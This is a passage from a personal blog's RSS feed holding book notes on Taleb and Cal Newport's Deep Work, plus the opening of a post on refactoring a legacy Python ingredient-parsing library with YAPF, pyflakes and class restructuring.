&lt;li>Humans knew a relatively small number of people around them, news from outside the community came in small spurts&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Humans could survive without an understanding of probabilities
&lt;ul>
&lt;li>e.g., if a crime was committed, it was usually obvious who did it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>One of George Soros&amp;rsquo; most valuable qualities is that he&amp;rsquo;s comfortable being wrong.
&lt;ul>
&lt;li>He frequently changes his opinion rather than clinging to past ideas and rationalizing them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Taleb loves philosopher &lt;a href="https://en.wikipedia.org/wiki/Karl_Popper">Karl Popper&lt;/a>.
&lt;ul>
&lt;li>Popper believes that the only real scientific theories are those that have been disproven and those that &lt;em>will&lt;/em> be disproven in the future.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Imagine 10,000 investors have a 50/50 chance of making or losing money each year
&lt;ul>
&lt;li>In five years, we could expect 313 of them to have made money each year by sheer luck, but everyone would applaud their investing skill.&lt;/li>
&lt;li>Even if they only have a 45% chance of making money, at the end of the five years, 184 will still have made money every year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Buridan&amp;rsquo;s donkey
&lt;ul>
&lt;li>&amp;ldquo;Imagine a donkey equally hungry and thirsty placed at exactly equal distance from sources of food and water. In such a framework, he would die of both thirst and hunger as he would be unable to decide which one to get to first.&amp;rdquo;&lt;/li>
&lt;li>Injecting randomness into the decision solves the problem because the donkey can make a decision even though it&amp;rsquo;s not necessarily optimal.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nassim Taleb would like you to know that Nassim Taleb is intelligent and sophisticated.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Deep Work by Cal Newport</title><link>https://mtlynch.io/book-reports/deep-work/</link><pubDate>Sun, 26 Aug 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/deep-work/</guid><description>&lt;p>This was my favorite book of 2018. It profoundly impacted the way I approach my work and organize my time. After reading it, I find it easier to maintain concentration and to prioritize important tasks. It was also the final push I needed to un-addict myself from social media.&lt;/p></description><content:encoded>&lt;p>This was my favorite book of 2018. It profoundly impacted the way I approach my work and organize my time. After reading it, I find it easier to maintain concentration and to prioritize important tasks. It was also the final push I needed to un-addict myself from social media.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>The author&amp;rsquo;s arguments in favor of deep work are logical and compelling&lt;/li>
&lt;li>Made me recognize how much time I was spending on low-effort, low-value work&lt;/li>
&lt;li>Opened my eyes to the concept of &lt;a href="https://calnewport.com/blog/2016/09/06/a-productivity-lesson-from-a-classic-arcade-game/">&amp;ldquo;attention residue&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Offers many simple, pragmatic techniques for achieving deep work&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>A bit too heavy on fluff stories about highly accomplished people who achieved greatness due to their commitment to deep work techniques&lt;/li>
&lt;li>Some of the focus techniques felt extreme past the point of being practical or helpful&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;blockquote>
&lt;p>Deep Work: Professional activities performed in a state of distraction-free concentration that push your cognitive capabilities to their limit. These efforts create new value, improve your skill, and are hard to replicate.&lt;/p>
&lt;p>Shallow Work: Noncognitively demanding, logistical-style tasks, often performed while distracted. These efforts tend to not create much new value in the world and are easy to replicate.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Emails are a common form of shallow work.
&lt;ul>
&lt;li>Sending emails makes us feel productive but, in reality, we&amp;rsquo;re not accomplishing anything meaningful.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The more time we spend in reactive state (e.g., checking email, checking social media), the harder it is to concentrate when we do attempt to focus.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>The Deep Work Hypothesis: The ability to perform deep work is becoming increasingly &lt;em>rare&lt;/em> at the same time it is becoming increasingly &lt;em>valuable&lt;/em> in our economy. As a consequence, the few who cultivate this skill, and then make it the core of their working life, will thrive.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Deliberate practice (a pre-requisite for elite performance) necessitates deep work.
&lt;ul>
&lt;li>Deliberate practice requires the practitioner to commit their focus (deep work) and receive feedback to correct their mistakes.&lt;/li>
&lt;li>Deliberate practice helps the brain build myelin around the neurons that relate to the skill being practiced. The more myelin, the easier it is to fire the neurons. Therefore, exercising this skill becomes less mentally taxing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Productivity formula
&lt;ul>
&lt;li>High-quality work produced = (time spent) x (intensity of focus)&lt;/li>
&lt;li>Often high-performers don&amp;rsquo;t work more hours but rather focus more intently.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="attenion-residue">Attenion residue&lt;/h3>
&lt;ul>
&lt;li>When you context-switch between tasks, even though you&amp;rsquo;re focused on the new task, your focus is lower because there&amp;rsquo;s still &amp;ldquo;residue&amp;rdquo; from the previous task.&lt;/li>
&lt;li>Attention residue decreases your performance on the subsequent task.&lt;/li>
&lt;li>Checking email or social media and then returning to work creates attention residue because part of your mind continues to think about messages you need to respond to.&lt;/li>
&lt;/ul>
&lt;h3 id="shallow-work-for-journalists">Shallow work for journalists&lt;/h3>
&lt;ul>
&lt;li>Publishers now encourage journalists and novelists to maintain an active presence on social media.
&lt;ul>
&lt;li>Worrying trend given that these writers need to be free from distraction to write well.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="principle-of-least-resistance">Principle of least resistance&lt;/h3>
&lt;ul>
&lt;li>At work, people often choose actions because they&amp;rsquo;re the easiest to complete in the moment, not because they&amp;rsquo;re necessarily the correct thing to work on.&lt;/li>
&lt;li>Example: Arranging a weekly status meeting to discuss a project.
&lt;ul>
&lt;li>It&amp;rsquo;s easy to invite everyone to attend, and it feels like it&amp;rsquo;s productive, but there are usually less disruptive ways to get progress updates.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Example: Forwarding an email with only a terse note, such as, &amp;ldquo;Thoughts?&amp;rdquo;
&lt;ul>
&lt;li>Very easy for the sender to do and makes them feel like they&amp;rsquo;re doing something useful, but imposes shallow work on the recipients. Usually can be avoided if the sender invested more thought into their initial email.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="busyness-as-a-proxy-for-productivity">Busyness as a proxy for productivity&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s hard to measure a knowledge worker&amp;rsquo;s productivity.&lt;/li>
&lt;li>Some managers have begun erroneously using busyness as a measure of a person&amp;rsquo;s productivity.
&lt;ul>
&lt;li>Workers try to demonstrate their value by responding quickly to emails, answering messages outside of work hours, performing lots of visible work regardless of whether it&amp;rsquo;s important.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Ironically, jobs are actually easier to enjoy than free time, because like flow activities they have built-in goals, feedback, rules, and challenges, all of which encourage one to become involved in one’s work, to concentrate, and lose oneself in it. Free time, on the other hand, is unstructured, and requires much greater effort to be shaped into something that can be enjoyed.&lt;/p>
&lt;p>-Mikhail Csikszentmihalyi, &lt;a href="https://smile.amazon.com/Flow-Psychology-Experience-Perennial-Classics/dp/0061339202/">&lt;em>Flow&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Deep work requires periods of idle detachment
&lt;ul>
&lt;li>Your brain needs to relax with something unrelated to the target of your focus.
&lt;ul>
&lt;li>The activity should &lt;strong>not&lt;/strong> be low-effort, high-stimulation shallow work (e.g., email, social media).&lt;/li>
&lt;li>e.g., reading a book for pleasure or &lt;a href="https://www.artofmanliness.com/articles/how-to-memorize-a-deck-of-cards/">memorizing a deck of cards&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Your unconscious mind makes progress solving a hard problem while your conscious mind is distracted from the task.&lt;/li>
&lt;li>Shutting down allows you to rebuild energy for deep work.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Important to establish a &amp;ldquo;shutdown ritual&amp;rdquo;
&lt;ul>
&lt;li>Shutdown ritual is a process to end the workday so that you don&amp;rsquo;t have to worry about work until the following workday.&lt;/li>
&lt;li>Make sure all urgent emails are answered and critical tasks are complete. Otherwise, you&amp;rsquo;ll worry in your downtime about whether there are incomplete tasks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Deep work is a skill, not just a habit.
&lt;ul>
&lt;li>If you think of it like a habit, you develop the unrealistic expectation that you can just &amp;ldquo;switch it on&amp;rdquo; when you decide to do it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="its-okay-to-be-bored">It&amp;rsquo;s okay to be bored!&lt;/h3>
&lt;ul>
&lt;li>If you constantly seek stimulation / entertainment in your downtime, it makes it harder for you to focus when you&amp;rsquo;re trying to do work.&lt;/li>
&lt;li>If you can&amp;rsquo;t wait in line for five minutes without checking your phone, you&amp;rsquo;re training your brain to expect constant distraction.&lt;/li>
&lt;li>Memory training exercises can improve your ability to focus because they require extended periods of deep focus.&lt;/li>
&lt;/ul>
&lt;h3 id="deep-work-vs-social-media">Deep work vs. social media&lt;/h3>
&lt;ul>
&lt;li>People have irrational justifications to continue using social media.
&lt;ul>
&lt;li>Most people recognize that social media is harmful and unproductive but continue to use it.&lt;/li>
&lt;li>&amp;ldquo;Any benefit approach&amp;rdquo;: people justify social media by naming &lt;em>any&lt;/em> benefit it provides, however minor (e.g., see funny photos, maintain loose relationships). They often don&amp;rsquo;t weight the value against the costs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Social media has corrupted useful content.
&lt;ul>
&lt;li>In the early Internet, the only way to attract an audience was to create high-value content.&lt;/li>
&lt;li>Now, it&amp;rsquo;s easy for people to get an audience by &amp;ldquo;liking&amp;rdquo; what their friends post and waiting for reciprocation.&lt;/li>
&lt;li>&amp;ldquo;I&amp;rsquo;ll like your status update if you&amp;rsquo;ll like mine.&amp;rdquo;&lt;/li>
&lt;li>Validation by reciprocity lowers the bar for the value of content and pushes everyone to &amp;ldquo;like&amp;rdquo; everything and consume content in only a shallow way.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="scheduling-your-day-for-deep-work">Scheduling your day for deep work&lt;/h3>
&lt;ul>
&lt;li>Plan in advance how to spend your free time.
&lt;ul>
&lt;li>It otherwise becomes too tempting to waste time on garbage activities like reading Buzzfeed.&lt;/li>
&lt;li>People expect that structuring their free time will suck the fun out of it. In reality, most people find it more satisfying to spend free time on high-quality activities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Schedule every minute of your day.
&lt;ul>
&lt;li>You otherwise spend the day on auto-pilot and don&amp;rsquo;t exercise deliberate thought about how to spend your time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Scheduling strategy: daily schedules
&lt;ul>
&lt;li>Map out your entire day on a piece of standard notebook paper.&lt;/li>
&lt;li>Write 30-minute increments of time down the lefthand side, then activities on the right.&lt;/li>
&lt;li>For each planned activity for the day, assign it to one of more blocks (e.g., &amp;ldquo;write presentation&amp;rdquo; can be 90 minutes = 3 blocks).&lt;/li>
&lt;li>Goal is not to predict exactly how you spend your day, but to remain vigilant and conscientious about your time. If there are interruptions or changes of plans, just update the map at your next free moment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="what-work-is-deep-work">What work is deep work?&lt;/h3>
&lt;ul>
&lt;li>Metric for qualifying the depth of an activity
&lt;ul>
&lt;li>&amp;ldquo;How long would it take (in months) to train a smart recent college graduate with no specialized training in my field to complete this task?&amp;rdquo;&lt;/li>
&lt;li>Tasks that require years of training are where you should be spending most of your time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="protecting-time-for-deep-work">Protecting time for deep work&lt;/h3>
&lt;ul>
&lt;li>Ask your boss how much of your time you should spend on shallow work.
&lt;ul>
&lt;li>If you&amp;rsquo;re spending more time than they expect, work with them to figure out how to eliminate shallow work activities so that you can do more deep work.&lt;/li>
&lt;li>If your boss won&amp;rsquo;t specify a target and instead focuses on how responsive you need to be to achieve short-term goals, probably time to look for another job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Setting yourself up for deep work requires you to decline jobs that involve lots of shallow work.
&lt;ul>
&lt;li>e.g., for an academic, traveling to conferences, serving on committees&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Fixed schedule productivity: committing to work &lt;em>only&lt;/em> during a fixed schedule (e.g., 9am to 5pm, Monday through Friday)
&lt;ul>
&lt;li>Treating work time as fixed prevents you from being tempted to take on additional shallow work tasks. You have a scarce amount of total time, so any shallow tasks necessarily mean less deep work.&lt;/li>
&lt;li>Honoring this schedule prevents work thoughts from encroaching on your downtime.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="applying-deep-work-to-emails">Applying deep work to emails&lt;/h3>
&lt;ul>
&lt;li>Become hard to reach
&lt;ul>
&lt;li>The cultural expectation is that, unless you&amp;rsquo;re famous, you owe a reply to everyone who emails you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can reduce your volume of emails by setting the expectation that you&amp;rsquo;re unlikely to respond and can only reply to emails that match your schedules and interests. See &lt;a href="https://calnewport.com/contact/">Cal Newport&amp;rsquo;s contact page&lt;/a> for an example of this.&lt;/li>
&lt;li>You can reduce email noise by investing more thought into your replies.&lt;/li>
&lt;li>Emails generally represent a &amp;ldquo;project.&amp;rdquo;&lt;/li>
&lt;li>Think about what reply most quickly brings the project to a resolution.&lt;/li>
&lt;li>The normal temptation is to write the easiest possible response in the moment, but this generally causes many more emails (i.e., future interruptions, more shallow work).&lt;/li>
&lt;li>Example: &amp;ldquo;We should get lunch! Are you free this week?&amp;rdquo;
&lt;ul>
&lt;li>&lt;strong>Bad&lt;/strong>: Requires many back-and-forth emails to converge on a plan.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Example: &amp;ldquo;We should get lunch this week. I&amp;rsquo;m available Thursday from 11:30 to 2, Wednesday from 12 to 2:30, and Friday from 12 to 2. Do any of these work for you? If not, send me two or three times that work for you next week. What do you think of Shake Shack or Tony&amp;rsquo;s? If those don&amp;rsquo;t work, I&amp;rsquo;m good with most restaurants that have Mexican, American, or Italian cuisine.&amp;rdquo;
&lt;ul>
&lt;li>&lt;strong>Good&lt;/strong>: Helps you arrive at final plans in 1-2 more emails.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Resurrecting a Dead Library: Part Three - Rehabilitation</title><link>https://mtlynch.io/resurrecting-3/</link><pubDate>Mon, 20 Aug 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/resurrecting-3/</guid><description>&lt;p>I love refactoring. Nothing satisfies me more than untangling spaghetti code to reveal its underlying logic in a clear, intuitive way.&lt;/p>
&lt;p>I&amp;rsquo;ve learned that refactoring requires diligence. In my younger and more reckless days, I would rush into a legacy codebase and tear apart the code without any concern for controlled changes. Inevitably, days or weeks later, I would discover that I broke the code by removing a subtle piece that seemed irrelevant but was, in fact, critical for an obscure scenario.&lt;/p></description><content:encoded>&lt;p>I love refactoring. Nothing satisfies me more than untangling spaghetti code to reveal its underlying logic in a clear, intuitive way.&lt;/p>
&lt;p>I&amp;rsquo;ve learned that refactoring requires diligence. In my younger and more reckless days, I would rush into a legacy codebase and tear apart the code without any concern for controlled changes. Inevitably, days or weeks later, I would discover that I broke the code by removing a subtle piece that seemed irrelevant but was, in fact, critical for an obscure scenario.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll show how to refactor with care. I&amp;rsquo;ll explain the techniques I applied to refactor a real legacy Python library. It includes the development toolchain I used to minimize my errors and my process for adding unit tests to lock in existing behavior.&lt;/p>
&lt;p>This is the final post in a three-part series about how I resurrected &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger">ingredient-phrase-tagger&lt;/a>, a library that uses machine learning to parse cooking ingredients (e.g., &amp;ldquo;2 cups milk&amp;rdquo;) into structured data. Read &lt;a href="https://mtlynch.io/resurrecting-1/">part one&lt;/a> for the full context, but the short version is that I discovered an abandoned library and brought it back to life so that it could power my SaaS business:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-1/">Part One: Resuscitation&lt;/a> - In which I nurse the code back to health so that it runs on any modern system&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-2/">Part Two: Stabilization&lt;/a> - In which I prevent functionality from regressing while I restore the code&lt;/li>
&lt;li>&lt;strong>Part Three: Rehabilitation (this post)&lt;/strong> - In which I begin refactoring the code&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-3/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/cover_hu_134abde97653285.jpg 300w, https://mtlynch.io/resurrecting-3/cover_hu_5243a67fb4091b6f.jpg 600w, https://mtlynch.io/resurrecting-3/cover_hu_44f5c705751ee2fb.jpg 800w, https://mtlynch.io/resurrecting-3/cover.jpg 1024w'
 src="https://mtlynch.io/resurrecting-3/cover.jpg" alt="Hermit crab being pulled from shell" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="where-are-we">Where are we?&lt;/h2>
&lt;p>In the previous two blog posts, I &lt;a href="https://mtlynch.io/resurrecting-1/#making-it-easier">created a custom Docker image&lt;/a> so that I could use this library anywhere and &lt;a href="https://mtlynch.io/resurrecting-2/#the-complete-build-script">added an end-to-end test&lt;/a> to preserve high-level behavior. Upon every change to the codebase, &lt;a href="https://travis-ci.org/">Travis continuous integration&lt;/a> built all dependencies and &lt;a href="https://mtlynch.io/resurrecting-2/#running-it-in-continuous-integration">executed the test in a controlled environment&lt;/a>.&lt;/p>
&lt;p>Until this point, I hadn&amp;rsquo;t modified the code itself. I only added tools and scripts on top of existing code to verify its behavior. Now that I had all the mechanisms in place to modify the code safely, I could finally begin refactoring.&lt;/p>
&lt;h2 id="enforcing-whitespace-conventions">Enforcing whitespace conventions&lt;/h2>
&lt;p>Developers should never &lt;a href="https://mtlynch.io/human-code-reviews-1/#let-computers-do-the-boring-parts">waste mental energy on whitespace&lt;/a>. Whenever I start a new software project, I automate the whitespace formatting as early as possible.&lt;/p>
&lt;p>For Python projects, I achieve this with &lt;a href="https://github.com/google/yapf">YAPF&lt;/a> (Yet Another Python Formatter). My first code change in this project was to reformat all files to match &lt;a href="https://github.com/google/styleguide/blob/gh-pages/pyguide.md">Google&amp;rsquo;s Python Style Guide&lt;/a>, my preferred standard:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>yapf &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --in-place &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --recursive &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --style google &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ./ &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --exclude=&lt;span style="color:#ed9d13">&amp;#34;third_party/*&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --exclude=&lt;span style="color:#ed9d13">&amp;#34;build/*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This introduced significant code churn, but I was confident that this was a safe change because YAPF is a mature tool and my end-to-end test still passed.&lt;/p>
&lt;p>I was careful to limit &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/11">my pull request&lt;/a> to &lt;em>only&lt;/em> whitespace changes so as not to bury anything else in the noise and make the pull request difficult for other developers to review.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 702px">



 &lt;a href="https://mtlynch.io/resurrecting-3/yapf-diff.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 702px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/yapf-diff_hu_bd023d2483f5fa78.png 300w, https://mtlynch.io/resurrecting-3/yapf-diff_hu_99ff775333526ee8.png 600w, https://mtlynch.io/resurrecting-3/yapf-diff.png 700w'
 src="https://mtlynch.io/resurrecting-3/yapf-diff.png" alt="Diff from YAPF changes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Diff after fixing whitespace with YAPF&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To ensure that future changes would adhere to the same style conventions, I added a new check to the build script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>yapf &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --diff &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --recursive &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --style google &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ./ &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --exclude=&lt;span style="color:#ed9d13">&amp;#34;third_party/*&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --exclude=&lt;span style="color:#ed9d13">&amp;#34;build/*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s the same as the earlier command, but with a &lt;code>--diff&lt;/code> flag instead of the &lt;code>--in-place&lt;/code> flag. If YAPF detects whitespace violations, it will print them out, then emit a failing exit code, causing the build script to terminate in failure.&lt;/p>
&lt;h2 id="adding-static-analysis">Adding static analysis&lt;/h2>
&lt;p>&lt;a href="https://github.com/PyCQA/pyflakes">pyflakes&lt;/a> is another handy component I always add to my Python toolchain. It uses static analysis to identify careless errors such as uninitialized variables or unused imports.&lt;/p>
&lt;p>I &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/12">added it to my ingredient-phrase-tagger build script&lt;/a>, and it immediately caught an unused import:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ pyflakes &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> bin/ &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ingredient_phrase_tagger/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ingredient_phrase_tagger/training/utils.py:3: &lt;span style="color:#ed9d13">&amp;#39;string&amp;#39;&lt;/span> imported but unused
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="time-to-read-the-code">Time to read the code&lt;/h2>
&lt;p>You may have noticed that throughout this process, I&amp;rsquo;ve avoided any attempts to understand the code. I skated by with only a cursory understanding of the library&amp;rsquo;s behavior.&lt;/p>
&lt;p>The best way I&amp;rsquo;ve found for reading code is to refactor and test as I go. Famed software expert &lt;a href="https://en.wikipedia.org/wiki/Martin_Fowler">Martin Fowler&lt;/a> describes this process best:&lt;/p>
&lt;blockquote>
&lt;p>When I look at unfamiliar code, I have to try to understand what it does. I look at a couple of lines and say to myself, oh yes, that’s what this bit of code is doing. With refactoring I don’t stop at the mental note. I actually change the code to better reflect my understanding, and then I test that understanding by rerunning the code to see if it still works.&lt;/p>
&lt;p>-Martin Fowler, &lt;a href="https://smile.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672/">&lt;em>Refactoring: Improving the Design of Existing Code&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;h2 id="addressing-poor-code-organization">Addressing poor code organization&lt;/h2>
&lt;p>80% of all code in the library was in just two of its files: &lt;code>cli.py&lt;/code> (command-line interface) and &lt;code>utils.py&lt;/code> (utilities). In other words, the authors split the code into two buckets: &amp;ldquo;user interface&amp;rdquo; and &amp;ldquo;everything else.&amp;rdquo; But even this wasn&amp;rsquo;t a clean separation.&lt;/p>
&lt;p>Very little of the code in &lt;code>cli.py&lt;/code> related to reading or writing from the command line. It consisted of a single class called &lt;code>Cli&lt;/code> with the following methods:&lt;/p>
&lt;ul>
&lt;li>&lt;code>run&lt;/code>&lt;/li>
&lt;li>&lt;code>generate_data&lt;/code>&lt;/li>
&lt;li>&lt;code>parseNumbers&lt;/code>&lt;/li>
&lt;li>&lt;code>matchUp&lt;/code>&lt;/li>
&lt;li>&lt;code>addPrefixes&lt;/code>&lt;/li>
&lt;li>&lt;code>bestTag&lt;/code>&lt;/li>
&lt;li>&lt;code>_parse_args&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>My first order of business was to slim down the &lt;code>Cli&lt;/code> class so that it formed a more logical abstraction of a command-line interface.&lt;/p>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="dissecting-the-cli-class">Dissecting the &lt;code>Cli&lt;/code> class&lt;/h2>
&lt;p>To break up the &lt;code>Cli&lt;/code> class, I needed a starting point. &lt;code>generate_data&lt;/code> sure didn&amp;rsquo;t seem to belong in a class responsible for managing a user interface, but I couldn&amp;rsquo;t immediately move it. &lt;code>generate_data&lt;/code> called &lt;code>Cli&lt;/code>&amp;rsquo;s other methods through its &lt;code>self&lt;/code> parameter, meaning it shared state with the rest of the class.&lt;/p>
&lt;p>Or did it? Every function in &lt;code>cli.py&lt;/code> was a member method of the &lt;code>Cli&lt;/code> class, but did they actually share instance variables?&lt;/p>
&lt;p>I checked &lt;code>Cli&lt;/code>&amp;rsquo;s constructor:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">__init__&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>, argv):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.opts = &lt;span style="color:#24909d">self&lt;/span>._parse_args(argv)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>._upstream_cursor = &lt;span style="color:#6ab825;font-weight:bold">None&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The constructor assigned a value to &lt;code>self._upstream_cursor&lt;/code>, but nothing ever referenced that variable. It was dead code, so that was an easy deletion.&lt;/p>
&lt;p>The other member variable, &lt;code>self.opts&lt;/code> wasn&amp;rsquo;t dead, but only two methods referenced it: &lt;code>run&lt;/code> and &lt;code>generate_data&lt;/code>.&lt;/p>
&lt;p>With no shared state, there was no reason for any of &lt;code>Cli&lt;/code>&amp;rsquo;s other public methods to be methods at all. They could all live happily as module-level free functions. Better yet, I could move them to an entirely new module that described their purpose better than &lt;code>cli&lt;/code>.&lt;/p>
&lt;h2 id="forming-a-clean-abstraction">Forming a clean abstraction&lt;/h2>
&lt;p>Once I discovered that most of &lt;code>Cli&lt;/code>&amp;rsquo;s methods could live in another module, I had to design that new module. I could, of course, move every function there and make them all public, but I wanted to find a minimal interface between the &lt;code>Cli&lt;/code> class and this new module.&lt;/p>
